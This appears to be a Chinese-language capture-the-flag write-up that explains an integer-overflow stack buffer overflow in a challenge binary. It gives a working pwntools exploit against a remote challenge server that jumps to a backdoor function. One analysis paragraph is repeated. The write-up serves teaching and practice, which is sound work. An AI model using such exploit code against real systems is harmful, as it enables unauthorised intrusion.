file,checksec:
main函数:
login函数:
程序先让用户输入用户名,并存储到变量 s 中,之后再从 s 中读取 0x19 位,并打印出来。然后让用户输入密码,读取 0x199 个字节存储到 buf 缓冲区,然后检查 buf。
check_passwd函数:
程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy()
就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。
程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy()
就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。
以下参考 1000x_ 师傅的文章:
无符号 int8 的最大值是 2^8-1=255,因为多出来的部分在 C/C++ 代码中会回绕,即 256 回绕成 0 ,257 回绕成 1 ,以此类推,我们需要字符长度到达 3 的话,我们传入的大小最小应该为 259。
攻击思路:首先在choice时,选择 1,再输入用户名(随便输入),之后再溢出密码区域,dest 和 s。
查看 dest 的栈,它需要溢出 0x14+4,之后让其跳转到 backdoor 函数,也就是 what_is_this 函数的内存地址,但是,想要让复制操作执行,首先需要通过前面的 if ( v3 <= 3u || v3 > 8u )
语句,即:让 v3 = strlen(s)
的长度保持在 0x04~0x08
,也就是 buf
的长度要保持在 0x104~0x108
。
因此,除去前面为 buf
构造 payload
所用的 b'a' * (0x14 - 0x00 + 0x04) + p32(elf.symbols["what_is_this"])
以外,还要在后面继续填充垃圾字符,让 buf
的长度在 0x104~0x108
之间。
exp:
from pwn import *
from LibcSearcher import *#start
r = remote('61.147.171.103',59035)
elf = ELF('./pwn')
context.log_level = 'debug'#params
backdoor_addr = elf.symbols['what_is_this']#attack
payload = b'a'*(0x14+4) + p32(backdoor_addr)
payload = payload.ljust(0x104,b'a') #实现在 `payload` 右边添加 `b'a'` 一直将 `payload` 的长度填充至 `0x104`
r.sendlineafter(b'choice',b'1')
r.sendlineafter(b'username',b'111')
r.sendlineafter(b'passwd',payload)
r.interactive()